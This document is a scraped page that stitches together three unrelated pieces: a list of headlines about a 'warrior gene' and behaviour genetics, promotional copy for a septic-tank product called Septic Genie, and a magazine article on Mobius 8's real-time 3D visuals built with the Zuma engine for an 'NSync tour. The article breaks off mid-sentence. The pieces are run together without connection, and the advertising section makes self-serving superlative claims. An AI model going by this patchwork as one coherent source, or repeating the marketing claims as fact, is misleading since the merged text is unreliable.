- There's a gene behind male moroseness - Aug 29, 2012
- Drunken rage could be in your genes - Dec 23, 2010
- Men carrying 'warrior gene' more likely to join gangs, use weapons - Jun 06, 2009
- 'Warrior gene' turns boys into violent gang members - Jun 06, 2009
- ''Warrior gene'' makes people aggressive - Jan 25, 2009
- Presence of 'warrior gene' triggers aggressiveness in people - Jan 24, 2009
- 'Midas touch' gene that makes people brilliant businessmen discovered - Dec 29, 2010
- Gene variation behind problem behaviours in adults with developmental disabilities unveiled - Jul 22, 2009
- Certain genetic makeup reduces the brain's neurons in drug addicts - Mar 08, 2011
- Scientists pinpoint brain receptor linked with rage - Jun 20, 2012
- Playing lottery, buying insurance - all in our genes - Jan 12, 2010
- Lack of enzyme creates skewed response to fear - Aug 12, 2011
- Is alcoholism in your genes? - Nov 25, 2011
- Good luck at gambling'may be in your genes' - Dec 08, 2010
Tags: acute alcohol, additional research, alcohol consumption, alcohol exposure, childhood maltreatment, concern individuals, criminality, factors work, finnish researchers, helsinki university, impulsive violence, monoamine oxidase, noradrenalin, outer membrane, polymorphisms, psychiatric assessment, recidivism, roope, violent behavior, violent behaviour


text:
How is Septic Genie different from Septic Aerators?
Septic Aerators are often advertised as being the best solution to a failed leach field. They're not. While an aerator is better than nothing, it's not a complete solution.
Septic Genie's Aerobic Bacteria Generator (ABG) Technology
Septic Genie is not an aerator — it's an Aerobic Bacteria Generator (ABG). The Septic Genie was designed specifically to mix the Septic Genie bacteria with effluent, air and water in the most efficient way. In color tests with a miniature 3 inch Septic Genie in a 60 gallon drum, it took less than 45 seconds for the 60 gallons of water to be totally and evenly mixed with the color.
The patented Septic Genie ABG technology is the only septic technology that creates the perfect conditions for our patented powerful natural facultative bacteria blend to multiply rapidly, quickly break down solids and clear the biomat clog. Accept no substitutes.
Standard Septic Aeration Systems
Aerators simply pump air into the septic tank, creating an aerobic environment in which aerobic bacteria can grow. While this is better than nothing, it's not a complete solution.The simple aeration systems being sold by everyone else create a column of bubbles. As you can see, the water around the bubble column is hardly moving. This means that any aerobic bacteria introduced into the tank will take a long time to be circulated through all the water. Over time there will be some mixing and exposure to the bubbles in the column, but simple aeration is the least efficient means of circulation, mixing and air transfer.
What this means to you:
Having effluent and air constantly circulating throughout ALL of the water does a couple of key things.
- The organic solids (effluent) is in constant contact with the patented Septic Genie special bacteria blend.
- The bacteria thrives and multiplies rapidly in this "food-rich" environment. The more bacteria, the better! Why? Because bacteria are always hungry. It devours all the organic waste (scum and sludge) in the tank, as well as all new waste that arrives every time water is used in the house.
- Organic waste escaping from the septic tank and washing into the drain field causes problems — foul odors, pooling water on the ground, leach field failure. By eliminating the organic waste in the tank, you don't have to worry about it ever being washed out into the drain field.
- As the SG Bacteria colony grows, it spreads to the drain field, devouring all organic solids that are clogging the field. As the biomat gunk is digested, the drain field is restored to normal function. Water now flows through the field into the surrounding soil as it's supposed to.


text:
By Karen Moltenbrey
No performer, past or present, has created moving music in quite the same manner as twenty-first century instrumentalist Mobius 8, whose cutting-edge sounds are being used to generate real-time interactive 3D visual effects. John Laraio, known as Mobius 8, displayed this unique music video capability during his live stage performances with pop rock band 'NSync during its 2001 global tour. "The ability to translate my music into a visual display gives me the power to actually play the graphics, lights, and video for the audience," says Laraio.
Using Zuma, 3dMaxMedia's real-time graphics performance technology, Mobius 8 translates audio into visual motion as he controls 3D images, video, lights, and lasers with both his gestures and the audio frequency generated from his customized instrument, the Hydra, which uses infrared light beams. Mobius 8 plays the interactive spatial instrument, which he developed himself, by moving his body with in specific areas. The motion controls the audio output and produces and alters the visual effects.
Every composition performed by Mobius 8 is accompanied by a matching composition of shifting and morphing images that move to the music. So when he takes the stage, Mobius 8 resembles a conductor, whose graceful yet energetic movements produce a heightened sensory experience. "The combination of sight and sound is incredible," says Jimmy Hotz, chief visionary at 3dMaxMedia.
|Performance artist and electronics innovator Mobius 8 is using technology from 3dMaxMedia to create a new genre of music video that incorporates interactive 3D objects into scenes that are generated in real time to live music.|
The ensuing 3D imagery is rendered in real time, so the visuals are in harmony with the music, and projected onto a large LED screen above the stage. "The result is a harmonious visual confirmation for the mind's eye, connecting what you see on the screen with the sounds you are hearing. Subsequently, the audience receives a more amplified and fulfilling experience," adds Hotz.
Laraio conceived the idea of controlling invisible frequencies of light so they respond to motion and produce wondrous sounds. Yet it was the technical wizardry of Hotz, a record producer, engineer, musician, and inventor, who linked those sounds to imagery through Zuma. "I did not know of any 3D graphics engine that allowed every parameter and every aspect of a visual to be generated in absolute real time," Hotz says. "So I put a team together to explore whether current hardware technology was mature enough to accomplish this type of real-time manipulation within the 3D world." Hotz's approach was to treat every element within the 3D graphics world as if it were an object in the musical universe-in essence, having the imagery follow the same cycle as musical "envelopes," where a sound rises and falls (known as attack, decay, sustain, and re lease). "So if I have a 3D object, such as a cube, and I want to expand its size, I do that by manipulating the sound through visual envelopes," he explains.
This concept became tangible when 3dMaxMedia (San Jose, CA) created Zuma, a commercially avail able real-time graphics engine that incorporates WildTangent's Web Driver technology, typically used for Internet gaming and 3D Web development. "I looked at every product that was available for real-time manipulation of graphics. There are some amazing game engines, but most of them require a tremendous amount of system memory, which wasn't practical since we had planned to make Zuma available over the Internet," says Hotz.
|As Mobius 8 plays the Hydra, the customized instrument responds to his physical gestures to create visual effects that are synchronized to the music.|
Photo courtesy Jimmy Hotz.
Although the WildTangent Web Driver played a key role in creating Zuma, the majority of the technology had to be invented from scratch by Hotz. "[At the time] no one had really pursued the type of manipulation in the graphics world that we wanted to accomplish through audio," Hotz notes.
Hotz created the 3D images used for the concert tour using Zuma's built-in editor, although Zuma accepts other 3D software and image formats, including Discreet's 3ds max. The parametric models were derived from algorithms generated inside of Zuma, which resulted in pure polyhedral classes of objects.
"These classes seem to be infinitely variable yet maintain a magical symmetry," says Hotz. "The symmetrical beauty is de rived from the pure mathematical nature of the models, which makes them lightweight and highly optimized for the demanding task of real-time manipulation."
|These 3D images, created in 3dMaxMedia's Zuma software, spring to life as they move and morph in harmony with the music. The result is an engaging experience of coordinated sights and sounds.|
Images courtesy Jimmy Hotz and 3dMaxMed
The geometric objects were then textured with a variety of images, including video footage residing on the computer hard drive, real-time video coming into the Firewire port, and still images such as those edited in Adobe Systems' Photoshop. Ac cording to Hotz, the textures can be applied to the entire object or to a single face of the object, whether it's a cube, flat plane, sphere, or something Hotz de scribes as a "unique spirit-like object that defies explanation."
When composing the scenes, Hotz first created the background object, typically a plane or a sphere, which he then textured with a nature scene or star field. In the foreground, he created another object, such as a torus, that could be spun and viewed from various angles.
"Most of the interesting manipulation is done with the foreground objects, so that's where you can really achieve some interesting results by using different textures, such as a rainbow gradient, video clip, or animation," says Hotz. "You can take traditional pictures of just about anything, place them on a kaleidoscope object, connect a few manipulators, and the outcome is amazing."
|To create this series, the artist first placed a 3D geometric image of a torus inside a sphere. Then, the incoming audio and real-time control gestures of the musician were connected to a number of special generators, which controlled the geometry of the |
One challenge was choosing the types of scenes for the concert that would be aesthetically pleasing in the large concert arenas. "Things can look totally different on a computer screen than they do on one of the world's largest LED video screens in a giant stadium venue," says Hotz. To resolve that issue, he visited the Louisiana Superdome, where 'NSync and Mobius 8 practiced prior to touring, so he could tweak the original images and scenes based on their appearance in the larger setting.
During the concert tour, the images were projected onto one of the largest LED screens made. Driving the visualizations was a 1.4ghz Pentium 4 with an Nvidia GeForce 2 card, which automatically rendered the images to the required resolution. Typically, resolutions of 1280-by-1024 or 1024-by-68 pixels are used, but for the NSync tour, the images were rendered at 640-by-480 pixels because the video mixer was converting the graphics to this resolution.
"At first I wondered if this resolution would be high enough to look good on such a large screen, but the venues were so huge that most of the audience was seated far enough away to not perceive the individual pixels, and the images looked great," says Hotz.
Once Hotz created the basic images, he programmed the properties that would be manipulated, from opacity to proportion to cam era angle to lighting (brightness, color, position, etc.). "Every possible image parameter or primitive can be programmed for real-time manipulation," he says. "In one scene, I created a torus and devised a formula so the object could be manipulated in such a way that the result was something that looked like a living creature rather than a doughnut. Through this type of manipulation, you are no longer limited by an object's pure geometry."
The parameters were then linked to a controller, which manipulated the object in real time, at about 30 frames per second. In the Mobius 8 performances, the audio frequency is generated by the musician's Hydra and MIDI (musical interface digital interface) through his gestures, which act as the controllers. Therefore, as the amplitude of a particular audio frequency rises and falls, the value of the parameter to which it is assigned changes and transforms the object, thereby altering the object's appearance in real time. So, if the object's opacity is programmed to respond to a specific audio frequency, then the object will grow in visibility as that frequency's amplitude intensifies, and be come less visible as the frequency's am plitude decreases.
|Two highly modified geometric models travel in front of the camera as it sweeps through this cityscape. The objects change shape, size, and opacity as they twist and turn in response to the music and control gestures of Mobius 8, which also manipulate the|
"This is different from a typical key framed animation because each variable has its own time domain that can be altered on the fly while it controls a sequence of action. A keyframed sequence has a specific timeline, whereas this type of movement can be controlled and changed at the very moment it is happening," explains Hotz. "That's why the objects created with Zuma behave like living creatures-every aspect is constantly moving, growing, changing, evolving."
According to Hotz, manipulating imagery in real time positively affects the creative process. Since the changes occur so quickly,